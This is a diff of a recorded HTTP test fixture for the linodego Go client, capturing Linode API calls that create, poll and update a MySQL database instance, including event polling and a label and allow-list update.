Expires: + - Mon, 24 Jun 2024 18:18:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12030,7 +12685,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12046,10 +12701,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/patch - method: POST + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET response: - body: '{}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "notification", "secondary_entity": null, "message": ""}], "page": + 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12062,21 +12724,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "2" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:18:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12085,7 +12752,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12101,17 +12768,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, + "duration": 2552, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, + "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, + "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12124,23 +12791,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "452" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:18:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12149,7 +12819,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12165,17 +12835,20 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 133362, "label": "go-mysql-test-def", "type": "g6-nanode-1", + "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", + "port": 3306, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"172.105.36.137": "primary", "172.105.63.12": + "failover", "194.195.119.223": "failover"}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": + 2, "day_of_week": 7, "week_of_month": null}}], "page": 1, "pages": 1, "results": + 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12188,16 +12861,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "838" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:18:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12213,7 +12889,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12229,17 +12905,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"id": 133362, "label": "go-mysql-test-def", "type": "g6-nanode-1", "engine": + "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", "port": + 3306, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": + 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"172.105.36.137": "primary", "172.105.63.12": + "failover", "194.195.119.223": "failover"}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": + 2, "day_of_week": 7, "week_of_month": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -12252,16 +12930,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "789" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:18:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -12277,7 +12958,74 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"label":"go-mysql-test-def-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":1,"frequency":"monthly","hour_of_day":8,"week_of_month":3}}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 + method: PUT + response: + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "715" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:19:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - databases:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12293,17 +13041,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database"}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12316,23 +13064,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "465" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:19:18 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12341,7 +13092,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12357,17 +13108,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12380,23 +13131,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "465" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:19:33 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12405,7 +13159,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12421,17 +13175,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12444,23 +13198,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "465" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:19:48 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12469,7 +13226,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12485,17 +13242,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12508,23 +13265,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "465" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:20:03 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -12533,7 +13293,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -12549,17 +13309,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -12572,23 +13332,3845 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "465" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:20:18 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:20:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:20:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:21:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:21:18 GMT 